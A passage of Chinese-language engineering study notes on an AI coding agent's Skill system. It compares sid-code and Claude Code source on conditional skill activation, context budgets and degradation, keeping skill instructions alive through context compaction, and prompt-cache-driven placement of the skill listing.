几乎所有文章都这么讲:
| 级别 | 内容 | 什么时候加载 | 成本 |
|---|---|---|---|
| Level 1 | 元数据(name + description) | 启动时常驻 | ~50-100 Token / 个 |
| Level 2 | SKILL.md 的 body | 被选中时 | 500-5000 Token |
| Level 3 | scripts/ references/ assets/ | 执行 / 读取时 | 按需(脚本只算输出) |
这三级本身是对的,机制也是对的。它解决的问题叫 上下文公地悲剧(Context Commons Tragedy):50 个 Skill 如果全量加载, 要 5 万到 25 万 Token——一个 200K 窗口的模型光是"知道自己会什么"就吃掉了大半。
三级披露把这个数压到了 50 × 75 ≈ 3750 Token。
到这里都对。问题是它漏了一级,而漏掉的那一级恰好是最省的。
4.2 漏掉的 Level 0:条件激活
【sid】源码里有一个 paths: 字段,它的行为是这样的:
---
name: frontend-review
description: 前端代码审查规范
paths:
- "packages/web/**/*.tsx" # ← 只有碰到这些文件时才出现
- "packages/web/**/*.css"
---带 paths: 的 Skill 压根不进 Level 1 的列表。它躺在一个暂存池里:
// packages/core/src/skill/conditional.ts:29-39
separate(skills: SkillDefinition[]): SkillDefinition[] {
const unconditional: SkillDefinition[] = [];
for (const skill of skills) {
if (skill.paths && skill.paths.length > 0) {
this.conditional.set(skill.name, skill); // ← 扣下,不进列表
} else {
unconditional.push(skill);
}
}
return unconditional;
}直到某次文件操作命中了它的 glob,才"转正"进入列表:
// packages/core/src/skill/conditional.ts:51-60
if (this.anyPathMatches(filePaths, skill.paths, cwd)) {
this.dynamic.set(name, skill); // 转正
this.conditional.delete(name);
activated.push(name);
}所以真实的层级是四级:
| 层级 | 判据 | 成本 | 谁决定 |
|---|---|---|---|
| Level 0:条件激活 | 文件路径 glob 匹配 | 0 | 确定性代码 |
| Level 1:元数据 | 常驻列表 | ~50-100 Token/个 | 无(都在) |
| Level 2:指令体 | 语义相关性 | 500-5000 Token | 模型 |
| Level 3:资源 | 执行需要 | 按需 | 模型 |
4.3 ★ 为什么这一级的性质和其他三级不同
这是本章真正的重点,也是拿分点。 三级披露的分层依据是加载时机 (启动 / 激活 / 执行)。Level 0 的分层依据完全不同,是判据的性质:
| Level 0 | Level 1-3 | |
|---|---|---|
| 判据 | "我正在动哪个文件" | "这段描述像不像我要干的事" |
| 性质 | 客观事实 | 模型判断 |
| 会不会错 | 不会 | 会 |
| Token 成本 | 0 | > 0 |
这个区分比"时机"重要,因为它决定了错误率。而由它推出的设计顺序是:
先问「这个决策有没有确定性判据」,有就用确定性的(零成本、零错误), 没有才交给模型。
而不是先分好时机、再想每一级怎么判断。
这条推广出去很有价值:任何"按需加载"系统里, 能用文件路径、文件类型、目录结构、git 状态这些客观信号做的筛选, 就不要交给模型的语义判断。语义判断留给真正需要理解意图的部分。
4.4 它解决的实际问题:monorepo
Level 0 不是一个锦上添花的小功能,它解决的场景非常常见:
一个 monorepo 里有 frontend/ backend/ infra/ 三块,各有 20 个专用 Skill。
| 方案 | 常驻 Skill 数 | 后果 |
|---|---|---|
| 无 Level 0 | 60 | 任何一次会话里 2/3 完全无关——不只浪费 Token,更在稀释注意力 |
| 有 Level 0 | 20 | 你在改前端,就只有前端那 20 个存在 |
回忆第 0 章那条数据(2-3 个最优、4+ 骤降):60 个常驻的伤害主要不是钱,是准确率。 Level 0 是唯一能同时降成本又提准确率的机制——其他所有机制都在做 trade-off。
4.5 一个刻意的取舍:激活是单向的
【sid】源码注释里明确写了这一点:
dynamic(运行时激活,只进不退)
— packages/core/src/skill/conditional.ts:10激活过就永久留在列表里,即使后来再也不碰那些文件。
为什么不做反向撤销(不碰了就移出列表)?两个理由,第二个更硬:
- 缓存:列表在会话中反复增删,每次都会击穿 Prompt Cache 前缀(第 7 章会讲透)。
- 行为稳定性:模型可能在中途"失去"一个它刚才还在用的能力。 想象它正在按前端审查规范做事,做到一半规范消失了——它不会报错, 它会继续做,但没有规范了。
所以单向激活是用「列表膨胀」换「缓存稳定 + 行为稳定」。
这个取舍的边界条件值得记住(面试里被问"什么情况下这个选择会反转"时用): 对一个会话通常几小时的工具,这个方向是对的; 如果是长驻几天的 daemon,列表会膨胀到失控,就必须引入淘汰机制了。
4.6 第三级的隐藏价值:脚本的成本模型
Level 3 里 scripts/ 那一项值得单独说,因为它的成本模型和其他所有部分都不同:
| 加载什么 | 进上下文的是 | 一个 335 行脚本的成本 |
|---|---|---|
references/xx.md | 文件全文 | 约 2000-4000 Token |
scripts/xx.ts | 只有它的 stdout | 可能只有 5 行 |
【sid】security-audit 这个 Skill 的 detect-vulnerabilities.ts 有 335 行。 如果把这 335 行的检测逻辑写成自然语言指令让模型照做: 既贵(几千 Token)又不可靠(模型会漏检、会误报)。 写成脚本执行,成本是它输出的那几行 JSON。
这引出一条判据(第 2 章第 ⑥ 问的展开):
凡是「确定性的、可以用代码表达的」步骤,都该下沉到
scripts/。 SKILL.md 的 body 只留「需要判断的部分」。
这条判据同时改善三个指标:便宜(成本从几千降到几行)、更准(代码不会漏检)、 更快(一次执行 vs 多轮推理)。这是 Skill 工程里少见的"三赢"选择, 没有 trade-off,所以应该优先做到极致。
4.7 一个我自己犯过的思维定势(值得对照)
我在写那三份研究文档时漏掉了 Level 0,而漏掉的原因是有规律的, 我把它记下来了,因为它是一个通用的思维偏差:
我一直在**「如何让模型判断得更准」这个方向上想问题, 没在「哪些判断压根不该交给模型」**这个方向上想。
而且我发现自己在另一个主题(评测)上犯过同一个错——当时我在想 "怎么让 LLM Judge 更准",而生产做法是先用确定性检查过滤掉 90%, 剩下 10% 才上 Judge。
连续两次在同一个方向上犯错,说明这不是偶然的知识缺口,是默认思考路径有偏。 遇到"要不要加载 X / 要不要判定 X"这类问题,第一反应应该是先找客观信号 (文件路径、文件类型、git 状态、目录结构),榨干了再上模型判断。
这个自我观察在面试里是很好的材料,因为它展示的是元认知, 而不只是知识点——面试官问"你怎么设计发现机制"时, "我会先问哪些筛选可以不靠模型"这个开场比直接讲三级披露强得多。
4.8 本章自检
- 三级披露的分层依据是什么?Level 0 的分层依据是什么?哪个更重要,为什么?
- Level 0 为什么是唯一"同时降成本又提准确率"的机制?
- 条件激活为什么是单向的?什么条件下这个选择会反转?
scripts/的成本模型和references/有什么本质不同?- 「先找客观信号再上模型判断」这条原则,除了 Skill 发现,还能用在哪?
第 5 章 · 预算与降级:「Skill 装多了怎么办」
这是面试里最常见的那个追问。问"什么是渐进式披露"是入门题, 问"那你们 Skill 涨到几百个之后呢?超预算了吗?怎么处理的"才是筛人的题。
大部分人会答"精简描述"或"删掉不用的"——这两个答案都是把责任推给用户, 而生产系统的做法是系统自己扛。
5.1 预算是相对的,不是绝对的
先看真实代码。【sid】packages/core/src/skill/budget.ts:
/** Skill 摘要预算占上下文窗口的比例(1%) */
export const SKILL_BUDGET_CONTEXT_PERCENT = 0.01; // :15
/** 每 token 约 4 字符 */
const CHARS_PER_TOKEN = 4; // :17
/** 默认字符预算(200k 窗口 × 4 × 1%) */
export const DEFAULT_CHAR_BUDGET = 8_000; // :36
/** 每条描述字符上限 */
const MAX_LISTING_DESC_CHARS = 250; // :38
/** 最短描述长度(低于此值则只显示名称) */
const MIN_DESC_LENGTH = 30; // :40
export function computeCharBudget(contextWindowTokens?: number): number {
if (!contextWindowTokens || contextWindowTokens <= 0) {
return DEFAULT_CHAR_BUDGET;
}
return Math.floor(contextWindowTokens * CHARS_PER_TOKEN * SKILL_BUDGET_CONTEXT_PERCENT);
}第一个要注意的点:这不是固定预算,是相对预算—— 上下文窗口 × 4 字符 × 1%。200K 窗口是 8,000 字符,1M 窗口就是 40,000 字符。
为什么锁比例而不是锁绝对值? 理由不是"大窗口能装更多", 而是它锁定的是税率:
Skill 列表是纯开销——它让模型知道自己能做什么,不产出任何直接结果。 把它钉在 1%,意味着无论用户用什么模型,"自我认知"的税率恒定在 1%, 剩下 99% 留给真正的工作。
如果写成固定 8,000 字符:在 200K 窗口上是 4%,在 1M 窗口上是 0.8%—— 同一份 Skill 集合在不同模型上的挤占程度差 5 倍,容量规划就没法做了。
这条可以直接迁移:任何"纯开销型"的常驻上下文(工具定义、能力清单、 记忆摘要),预算都该按窗口比例定,不按绝对值定。
5.2 250 字符上限背后:一笔只有看过账单的人才知道的钱
MAX_LISTING_DESC_CHARS = 250 这个上限,Claude Code 的源码注释给了理由【CC】:
The listing is for discovery only — the Skill tool loads full content on invoke, so verbose whenToUse strings waste turn-1 cache_creation tokens without improving match rate.
"cache_creation" 这三个字,是只有真正跑过生产账单的人才会写的。
普通理解是"描述写长了浪费 Token"——这是模糊的。精确的理解是这样:
Skill 列表是高度稳定的前缀,注定会被 Prompt Cache 缓存。而缓存的计价是分档的:
| 操作 | 相对单价 | 什么时候发生 |
|---|---|---|
cache_creation(写缓存) | 1.25× | 每个新会话的第一轮 |
cache_read(读缓存) | 0.1× | 后续每一轮 |
所以 Skill 列表的真实成本模型不是"每轮 × N Token",而是:
首轮 × N × 1.25 + 后续每轮 × N × 0.1冗长的描述主要在惩罚第一轮。 而且注释明确判断这笔钱买不到东西—— without improving match rate,路由准确率不随描述变长而提升(§2.4 说过)。
这是一个有实测支撑的判断,不是审美偏好。 面试里能把"描述写短"的理由 说到 cache_creation 这一层,是很强的信号——它证明你看过账单分项, 而不只是读过文档。
5.3 三级降级:超预算之后到底发生什么
现在回答那个追问。答案不是报错,不是拒绝加载,也不是让用户去删。
【sid】budget.ts:63-115 的 formatCommandsWithinBudget() 是一个三级降级:
// 1. 尝试全部完整描述
const fullTotal = commands.reduce((sum, c) => sum + fullLine(c).length + 1, 0);
if (fullTotal <= budget) {
return commands.map(fullLine).join("\n"); // ← 第 1 级
}
// 2. bundled 保留完整,计算剩余预算
const bundled = commands.filter((c) => c.isBundled);
const rest = commands.filter((c) => !c.isBundled);
const remainingBudget = budget - bundledChars;
// 3. 非 bundled 的每条描述预算
const maxDescLen = Math.floor(remainingBudget / rest.length);
if (maxDescLen < MIN_DESC_LENGTH) { // MIN_DESC_LENGTH = 30
// 预算太紧:非 bundled 只显示名称
return commands.map((c) => (c.isBundled ? fullLine(c) : nameLine(c))).join("\n");
} // ← 第 3 级
// 4. 截断非 bundled 描述
return commands.map((c) => {
if (c.isBundled) return fullLine(c); // ← 第 2 级
const desc = truncate(..., maxDescLen);
return `- ${c.name}: ${desc}`;
});整理成表:
| 级别 | 触发条件 | 行为 | 谁被牺牲 |
|---|---|---|---|
| 1 | 全量 ≤ 预算 | 原样输出 | 无 |
| 2 | 超预算但均分后 ≥ 30 字符 | 非内置 Skill 的描述按均分长度截断 | 用户/项目/插件 Skill 的描述长度 |
| 3 | 均分后 < 30 字符 | 非内置只留名字,内置保留完整描述 | 用户 Skill 的描述全部消失 |
5.4 ★ 为什么是「降级」而不是「丢弃」
这是本章最值得讲的判断。丢弃(超预算就把低优先级 Skill 踢出列表)看起来更简单, 为什么不这么做?
| 降级到只剩名字 | 丢弃 | |
|---|---|---|
| 模型还能看到它吗 | 能(- deploy-staging) | 不能 |
| 还能被自动触发吗 | 能(名字本身有语义) | 不能 |
| 用户还能手打调用吗 | 能 | 不能(它不在列表里,但仍能 /name——见下) |
| 用户能察觉吗 | 难 | 完全不能 |
关键在于:kebab-case 的 Skill 名几乎就是一句压缩到极致的描述。 模型看到 - deploy-staging,在用户说"部署到 staging"时仍然猜得到。
所以:
能力降级是可恢复的,能力消失是不可恢复的。 降级后仍有非零可用性,就不要丢弃。
这条推广出去是一条很好用的通用原则:
对每个候选牺牲对象,问「砍掉它之后这个功能还剩多少可用性」, 砍剩余可用性最高的那个。 而不是问"哪个不重要"。
后者往往吵不出结论(两个人能对"哪个更重要"争一天), 前者通常有明确答案。
5.5 内置 Skill 的豁免权:不是公平,是「降级后谁能自救」
第 2、3 级里,isBundled 的 Skill 一个字都不动,用户自己写的先被砍。
我第一反应是"这不合理吧,用户的 Skill 是用户主动装的,凭什么优先级更低"。 想清楚之后我改主意了,理由是这样:
降级策略的正确设计目标不是公平,而是「保证核心路径在最坏情况下仍然可用」。
| 谁被降级 | 后果 | 用户能自救吗 |
|---|---|---|
| 用户 Skill 砍成只剩名字 | 靠名字仍可触发;用户知道自己装了什么,能手打 /name | 能 |
| 内置 Skill 被砍 | 产品的基础能力静默失效,用户根本不知道自己丢了什么 | 不能 |
而且有一个讽刺的放大效应:会撞到预算天花板的用户,恰恰是装了两百个 Skill 的重度用户—— 也就是最不该踩坑的那一批。
所以判据是**「降级之后还剩多少可用性 / 谁能自救」**。 这和第 11 章自演化的判据("改动是否可见")、第 6 章压缩的判据("有没有重获路径") 是同一类思维:把主观的"重要性"替换成可判定的条件。
5.7 容量直觉:1% 到底能装多少个
那篇文章给了一个换算表,值得留着,因为它把"1%"翻译成了绝对值【CC】:
| 模型窗口 | 1% 预算 | 大约能装(不降级) |
|---|---|---|
| 200K | ~2,000 Token | 15-25 个 |
| 1M | ~10,000 Token | 75-125 个 |
(每个 Skill 连 XML 包装算下来是 75-150 Token。)
这个"15-25 个"是很实用的容量直觉,而且要注意它和第 0 章那条数据的关系—— 这两个数不矛盾,但描述的是完全不同的量,很多人(包括我)会把它们混在一起:
| 数字 | 含义 |
|---|---|
| 15-25 个 | 能装多少不降级(容量上限) |
| 2-3 个 | 同时激活多少个效果最好(质量最优点) |
前者是"清单里能有多少个候选",后者是"一次任务里该激活多少个"。 搞混了会得出"那我只装 3 个 Skill 就好"这种错误结论。
5.8 唯一能让成本归零的开关
有一个实测数据很有价值【CC】:一位作者跑了 84 次运行、花了 $12.68 做 A/B:
- 他的插件集合整个列表是 7,778 Token
- 13 个短描述的 Skill 边际成本是 636 Token
disableModelInvocation: true让一个 Skill 的常驻成本归零—— 描述完全不进列表,只能手打/name调用
第三条我在【sid】源码里也确认了:这类 Skill 压根不进 listing。
这是唯一一个能让 Skill 成本真正为零的开关,代价是失去自动触发。
由此得到一条很实用的治理规则:
「我总是手动调用的 Skill」应该全部标
disableModelInvocation。 部署检查清单、发布流程这种你自己知道什么时候要跑的东西, 让模型去"发现"它没有任何价值——纯交税。
5.9 【sid 现状核验】一个缺口:降级没有埋点
Claude Code 在降级时会上报一个事件【CC】:
logEvent('tengu_skill_descriptions_truncated', {
skill_count, budget, full_total, // ← 预算 vs 实际需要
truncation_mode: 'names_only', // ← 降到哪一级
bundled_count, bundled_chars, // ← 豁免部分占了多少
})这四类字段一起才能回答产品问题:用户的 Skill 生态膨胀到什么程度了、 1% 还够不够、豁免名单是不是自己就吃满了。这是产品决策要的数据,不是调试要的数据。
我在 sid-code 里查了一遍【sid】:
rg -a -n 'truncated|descriptions_truncated' packages/core/src/skill/
# → 只命中 evals 用例里的无关字符串,降级路径本身零命中结论:sid-code 的三级降级实现了,但降级事件没有埋点。
这是一个真实缺口,而且它属于一类特定的失效模式,值得在面试里讲:
用户的 Skill 正在被削成名字、触发精度正在下降, 而系统和用户双方都不知道这件事正在发生。
Claude Code 那边也只对内部员工上报(USER_TYPE === 'ant'), 所以外部用户同样得不到提示。两边都有这个问题,只是 CC 至少产品方能看见。
由此得到一条设计原则(这条我认为比降级机制本身更重要):
设计降级时必须同时设计「降级的可观测性」, 否则你造了一个用户永远发现不了的失效模式。
5.10 本章自检
- 为什么预算按窗口比例定而不按绝对值定?固定值会导致什么问题?
- 描述写长了,浪费的精确是哪一笔钱?为什么这笔钱买不到东西?
- 为什么超预算是"降级"而不是"丢弃"?判据是什么?
- 内置 Skill 豁免权的理由是什么?(不是"更重要")
- "15-25 个"和"2-3 个"这两个数分别描述什么?混淆了会得出什么错结论?
- 唯一能让 Skill 成本归零的开关是什么?什么样的 Skill 该用它?
第 6 章 · ★ 压缩存活:Skill 会在长会话里静默失效
如果这份文档只能留一章,留这一章。
原因是:前面五章讲的东西,你不知道也能把 Skill 做出来(做得糙一点而已)。 这一章讲的坑,你不知道就一定会踩,而且踩了之后排查不出来—— 因为它没有任何错误信息,日志里干干净净,agent 看起来还在正常工作。
6.1 症状:一个没有错误信息的 bug
先描述现场。你做了一个 deploy Skill,流程写得很好,五步,每步都有 Gotcha。
用户调用它,前几轮完美执行。会话继续变长——查文件、改代码、跑测试、看日志。 到了第 40 轮左右,上下文快满了,系统自动触发压缩(compaction): 把前面的历史摘要成几百 Token,腾出空间。
然后:
agent 开始不按流程做事了。
它不报错。它不说"我忘了流程"。它继续自信地干活, 步骤看起来也很像那么回事——只是顺序错了,Gotcha 全没了, 那个"main 受保护"的坑又踩了一遍。
6.2 原因:摘要是有损的,而且它损掉了最不该损的东西
压缩的机制是:把历史消息交给模型,让它写一份摘要,然后用摘要替换掉原文。
那段 3000 Token 的 Skill 指令,在摘要里会变成什么?
原文(3000 Token):
# 发版流程
## 1. 先跑测试,再改版本号
⚠️ 顺序不能反:版本号改了但测试挂了,就有一个"已 bump 未验证"的提交
## 2. 不要直推 main
main 受保护(ruleset protect-main),直推会被 GH013 拒绝
## 3. ...(还有三步和五个坑)
摘要后(约 15 Token):
用户要求遵循 deploy skill 的发版流程。这句摘要是"正确"的——它准确描述了发生过的事。但它完全没用。
模型现在知道"我应该遵循某个流程",但不知道那个流程有哪几步、每步的坑是什么。 于是它会自由发挥,并且真诚地相信自己在遵循流程。
这是最糟的失效模式:静默的、看不出来的偏离。 对比一下如果它报错会怎样——报错你立刻就修了。不报错,你可能一个月后 才从"最近发版老出问题"这个模糊的感觉里回溯到这里。
6.3 解法:把 Skill 内容原文重新注入
【sid】sid-code 的做法在 packages/core/src/context/manager.ts。
第一步:每次 Skill 被注入,记一笔。
// manager.ts:583-596
addInvokedSkill(name: string, content: string): void {
const existing = this.invokedSkills.find((s) => s.name === name);
if (existing) {
existing.content = content; // 同名更新为最新
existing.invokedAt = this.messages.length;
return;
}
this.invokedSkills.push({ name, content, invokedAt: this.messages.length });
}第二步:压缩时,在摘要之外额外注入一对消息。
// manager.ts:2037-2058
private buildInvokedSkillMessages(): Message[] {
const toPreserve = this.invokedSkills;
if (toPreserve.length === 0) return [];
const skillUserMsg: Message = {
role: "user",
content: toPreserve.map((s) => ({
type: "text" as const,
text: `[已调用 Skill: ${s.name}]\n${s.content}`, // ← 原文,不是摘要
})),
_meta: { origin: "compact-summary" }, // ← 只给 LLM 看,TUI 不渲染
};
const skillAckMsg: Message = {
role: "assistant",
content: [{ type: "text", text: "好的,我已重新加载之前调用的 Skill 上下文,会继续遵循。" }],
_meta: { origin: "compact-summary" },
};
return [skillUserMsg, skillAckMsg];
}三个细节值得注意:
- 注入的是原文,不是摘要。这是整章的核心。
- 伪造了一轮对话(user 说 + assistant 应答)。为什么要配一句 assistant 的回应? 因为消息序列需要合法交替,而且一句"我会继续遵循"能强化模型的承诺。
_meta.origin标记让它在终端 UI 里隐藏。用户不该看到这段—— 对用户来说什么都没发生,对模型来说流程回来了。
6.4 ★★ 本章最反直觉的一条结论
对比压缩时对两类内容的处理,会得到一个乍看不对称的结论:
agent 读过的文件,会被摘要掉。agent 触发过的 Skill,会被原文重新注入。
(一篇 2026 年的外部实测文章独立观察到了同一件事,措辞是: "A file the agent read gets summarised away. A skill it triggered gets re-injected.")
为什么这个区别是对的? 第一层理由是内容性质:
| 文件内容 | Skill 内容 | |
|---|---|---|
| 性质 | 事实 | 流程约束 |
| 摘要成一句话后 | "我读了 config.ts,里面配了 X"——基本无损 | "用户要求遵循部署流程"——完全失效 |
但真正硬的判据是第二层,这一条是全文我最推荐记住的一句话:
判据是「重获路径是否存在」,不是「内容重不重要」。
- 文件:路径还在。需要细节时
read一次就回来了。有重获路径。 - Skill:压缩后模型甚至不知道该去读哪个文件——
skillPath是projectSettings:deploy这种逻辑标识,不是能read的路径。没有重获路径。
所以规则是:
不可重获的信息必须原文保留,可重获的信息可以摘要。
为什么这条比"按重要性保留"好? 因为"重要性"是主观的——两个人能吵一天, 而且吵不出可执行的规则。"丢了之后能不能拿回来"是可判定的: 你只要问一句"如果这段没了,agent 能靠上下文里剩下的东西把它找回来吗"。
而且这条判据还给出了一个主动的设计手段:
如果你希望某类信息可以被安全地摘要掉,就先给它建立重获路径。
(Manus 的"可恢复外化"——删掉网页正文只留 URL——是同一个原理的另一种用法。)
反过来说,Skill 的 skillPath 是逻辑标识而不是真实路径, 恰恰是它必须原文保留的原因。这不是天然事实,是可以通过改设计消除的约束: 如果 skillPath 存的是真实文件路径,Skill 内容就也可以被安全摘要了。
6.5 ★ 一处真实分歧:sid-code 没有预算,Claude Code 有
这是本文两处 CC/sid 分歧中更重要的一处,也是很好的面试素材。
Claude Code 的做法【CC】有两个硬预算常量:
export const POST_COMPACT_MAX_TOKENS_PER_SKILL = 5_000 // 单个 Skill 上限
export const POST_COMPACT_SKILLS_TOKEN_BUDGET = 25_000 // 全部 Skill 合计配合两条策略(源码注释解释了理由):
- 按最近调用时间降序排序,预算压力下丢掉最久没用的(时间近似相关性)
- 单个 Skill 超长时截断保留头部,而不是整个丢掉。理由: "where setup/usage instructions typically live"——SKILL.md 的开头通常是 "你是什么专家 + 工作流步骤",结尾通常是参考资料和边缘案例。 保留一半流程 > 完全没有流程。
sid-code 的做法【sid】——我现场核验过:
# buildInvokedSkillMessages 里是否有截断 / 预算
awk '/private buildInvokedSkillMessages/,/^ }/' packages/core/src/context/manager.ts \
| grep -nE 'truncat|slice|budget|MAX|limit'
# → 无截断、无预算(全文原样注入)
rg -a -n 'PER_SKILL|SKILLS_TOKEN|MAX_TOKENS_PER_SKILL' packages/core/src/
# → 零命中sid-code 把所有调用过的 Skill 全文原样注入,没有任何上限。
两种做法的取舍很清楚:
| sid-code(无预算) | Claude Code(有预算) | |
|---|---|---|
| 流程完整性 | 100% 保留 | 超 5K 的部分被截 |
| 风险 | 压缩后立刻又接近满,可能压缩抖动 | 无 |
| 适用 | Skill 少、体量小、可控 | Skill 多、第三方来源不可控 |
哪个对?取决于一个前提:你能不能控制 Skill 的体量。
sid-code 的 Skill 目前主要是自己写的 20 个内置(8 builtin + 12 bundled)+ 少量用户 Skill, 体量可控,所以无预算是可以工作的。但这是一个会随规模失效的选择: 一旦用户装了 10 个第三方 Skill、每个 8000 Token,压缩后立刻注入 80K—— 压缩没有腾出空间,反而可能触发下一次压缩。
这就是所谓"在当前规模下正确、在下一个规模下是 bug"的设计。 面试里指出这类问题时要区分清楚(这个区分本身是加分点):
"现在就是 bug" 和 "扩展后会变成 bug" 是两件事。 前者是批评,后者是设计洞察。
6.6 那个 5000 的真正含义:它不是写作建议
很多 Skill 写作指南里都有一句"SKILL.md 建议控制在 5000 Token 以内"。 我一直以为这是审美建议("太长模型读不完")。
它不是。它是压缩存活的硬边界。【CC】
POST_COMPACT_MAX_TOKENS_PER_SKILL = 5_000 意味着:
SKILL.md 超过 5000 Token 的部分,在第一次压缩之后就永久消失了, 而且没有任何提示。
这条直接改变了写 Skill 的方式,也让第 2 章"Gotchas 前置"那条建议有了更硬的理由:
| 建议 | 原来的理由 | 真实的理由 |
|---|---|---|
| Gotchas 要前置 | 注意力衰减(middle/end 更容易被忽略) | 超出截断预算的部分物理上不存在了 |
| 严重度 | 概率性削弱("可能没看见") | 确定性消失("一定不在了") |
我在写那三份文档时用的是弱版本(注意力),源码给了强版本(截断)。 这个升级值得记:同一条建议,论证强度差一个量级, 面试里给出强版本的那个才显得做过。
6.7 一个刻意的「不做」:压缩后不重新宣告 Skill 列表
Claude Code 源码里有一段注释比它实现的代码还长【CC】:
// Intentionally NOT resetting sentSkillNames: re-injecting the full
// skill_listing (~4K tokens) post-compact is pure cache_creation with
// marginal benefit. The model still has SkillTool in its schema and
// invoked_skills attachment (below) preserves used-skill content.压缩后不重新宣告"我有哪些 Skill"。三条理由,逻辑链完整:
- 4K Token 的重新注入是纯 cache_creation 成本(§5.2 那笔钱)
SkillTool的 schema 还在,模型知道有这个工具,仍然能调用- 真正重要的、已经在用的 Skill 内容已经由重注入保住了
代价:压缩后模型对"还没用过的 Skill"失去可见性。
但这个代价的方向是可以承受的,而且它体现了一个反复出现的 fail-safe 方向:
宣告可以漏,正在遵循的约束不能断。
("发现新能力"的机会变少 = 可容忍;"正在执行的流程消失" = 不可容忍。)
还有一个细节特别值得学:同一个"故意不做"的决策,在两个清理路径上都显式重申了一遍, 并交叉引用。 为什么要写两遍?因为这个地方看起来像 bug ("压缩后 Skill 列表怎么没了?"),会反复有人想去"修好"它。 把理由写在每一个会被"顺手修好"的地方,是在防止未来的自己和同事。
6.8 压缩还是「污染放大器」:这条我完全没想到
最后一个机制,是我读源码时最意外的一条【CC】。
Claude Code 在把历史喂给摘要模型之前,会先剥掉一类附件 (stripReinjectedAttachments()),理由是:
它们反正会被重新注入,喂进去"wastes tokens and pollutes the summary with stale skill suggestions"。
后半句是关键。 被剥掉的是"Skill 推荐"类内容——比如 "用户可能需要用 X skill"这种当时的推测。
如果把这类推测喂给摘要模型,摘要里就会出现 "用户可能需要用 X skill"这句话——而这句推测被固化进摘要之后, 就变成了历史事实,此后再也没法被质疑。
我以前把上下文污染和上下文压缩当成两个独立话题: 污染是"垃圾进来了",压缩是"东西变少了"。实际上压缩是污染的传播和放大机制:
一条低置信度的推测
↓ 经过一次摘要
变成历史叙述的一部分
↓ 并且丢失了"这只是个推测"这个标记
此后无法再被质疑推广出去:
任何进入摘要输入的内容,都应该先问「它是事实还是推测」。 推测性内容(推荐、猜测、置信度不高的分类结果、失败的尝试) 要么剥掉,要么在摘要 prompt 里显式标注其性质。
更一般地:任何"信息变换"环节(摘要、翻译、结构化提取、跨 agent 交接) 都会丢失元信息,而"这是推测不是事实"恰恰是最容易丢的那类元信息。
6.9 本章自检
- Skill 在压缩后失效的症状是什么?为什么它比报错更难排查?
- "读过的文件被摘要,触发过的 Skill 被原文重注入"——判据是什么?
- 为什么"重获路径"比"重要性"是更好的判据?它还给出了什么主动的设计手段?
- sid-code 不设压缩预算,这是 bug 吗?在什么条件下它会变成 bug?
- 5000 Token 这个数,是写作建议还是硬边界?为什么这个区分重要?
- 为什么压缩后不重新宣告 Skill 列表?体现了什么 fail-safe 方向?
- 压缩为什么会放大污染?该怎么防?
第 7 章 · 注入位置:为什么「放哪」比「放什么」更重要
这一章讲一个我明确猜错过的地方。它的价值在于: Skill 系统里有四个看起来毫不相干的设计决策,追到底是同一个约束在起作用。 能把这四个串起来,是很强的架构信号。
7.1 先说那个直觉答案(以及它为什么诱人)
"Skill 的 listing 放在哪?"
直觉答案:放 system prompt。理由很充分:
- 它是"系统级"信息(我有哪些能力),不是用户说的话——逻辑归属上就该在那里
- 它需要每一轮都可见 → system prompt 天然每轮都在
- 它在对话开始前就确定了 → 属于初始化配置
我写那三份研究文档之前就是这么以为的。而且【sid】sid-code 真的是这么做的—— 我现场核过:
// packages/core/src/config/system-prompt.ts:507-518
// 缺口 E:Skill 摘要列表(接通此前的死代码)。
// 优先级 SKILL_LISTING(8) 排在 CLAUDE.md 之前,确保模型先发现可用 skill。
if (ctx.skillEntries && ctx.skillEntries.length > 0) {
const skillAttachment = generateSkillListingAttachment(...);
if (skillAttachment) attachments.push(skillAttachment);
}listing 作为一个附件进 system prompt,优先级 8,排在 CLAUDE.md 之前。
而 Claude Code 不是这么做的【CC】。这是本文第二处真实分歧, 而且这一处比第 6 章那处更有教学价值。
7.2 Claude Code 的选择:放对话流,不放 system prompt
【CC】listing 是一个 attachment(附件消息),注入在对话流里, 而且配了一个 sentSkillNames 去重表做增量宣告:只发还没发过的 Skill。
为什么?一句话:因为 Prompt Cache。
7.3 补一节前置知识:Prompt Cache 是怎么工作的
如果你不熟悉这个机制,这一节必须先看,否则后面全章都读不懂。
Prompt Cache 的规则可以浓缩成一句话:
它缓存的是「前缀」,而且一个字节都不能变。
请求的内容按顺序排成一条长串:
[system prompt][历史消息 1][历史消息 2]...[历史消息 N][新消息]
└───────────────── 稳定前缀,可缓存 ─────────────┘ └ 新增 ┘命中缓存的条件是从第一个字节开始逐字节相同。一旦某个位置变了, 那个位置往后的全部内容都要重新计算(重新付 cache_creation 的 1.25 倍价)。
这就引出了关键推论:
越靠前的内容,改动的代价越大。 改 system prompt 里一个字 → 整个会话的缓存全废。 在对话流尾部追加 → 前面所有历史的缓存全部保住。
7.4 于是那个"逻辑上更合理"的位置,是成本上最贵的位置
现在能看清代价了。假设一个跑了 40 轮的会话,此时用户新建了一个 Skill:
| listing 放哪 | 新增一个 Skill 会发生什么 |
|---|---|
| system prompt | 前缀第一段就变了 → 40 轮历史的缓存全部失效,全部重付 |
| 对话流尾部 | 纯追加 → 前面 40 轮的缓存全部保住,只为新增那几行付钱 |
这就是 Claude Code 选对话流的理由:它不是逻辑归属的选择,是成本的选择。
代价是需要一个 sentSkillNames 去重表来记"哪些已经宣告过了", 以及一个语义上的怪异之处——listing 变成了一份 append-only 的宣告日志, 而不是一份反映当前状态的清单:
| 状态清单 | append-only 宣告日志 | |
|---|---|---|
| 语义 | "我现在有这些 Skill" | "我先后宣告过这些 Skill" |
| 能删吗 | 能 | 不能(删要改历史 = 击穿缓存) |
| 能重排吗 | 能 | 不能(同上) |
7.5 ★ 四个决策,一个约束
这是本章的高潮,也是最值得在面试里讲的一段。Skill 系统里有四个看起来毫不相干的 设计决策,追到底全是 Prompt Cache 这一个约束:
| 决策 | 表面上像是什么问题 | 真实原因 |
|---|---|---|
| ① listing 不放 system prompt(CC) | 架构分层问题 | 放前面会击穿整个会话的前缀 |
| ② 条件激活单向,激活了不撤销(§4.5) | 生命周期设计问题 | 列表反复增删会抖动缓存 |
| ③ 压缩后不重新宣告列表(§6.7) | 是不是 bug? | 4K 的纯 cache_creation 不值 |
| ④ 不用使用频率给列表排序(下面 7.6) | 为什么不做这个优化? | 顺序变了缓存就全废 |
四个决策,一个约束。 所以:
设计任何"常驻上下文"的东西时,第一个问题不是"它逻辑上属于哪里", 而是**"它在缓存前缀的哪一段,以及它多久会变一次"**。
这两个问题合起来给出一条实用判据:
| 内容变化频率 | 该放哪 |
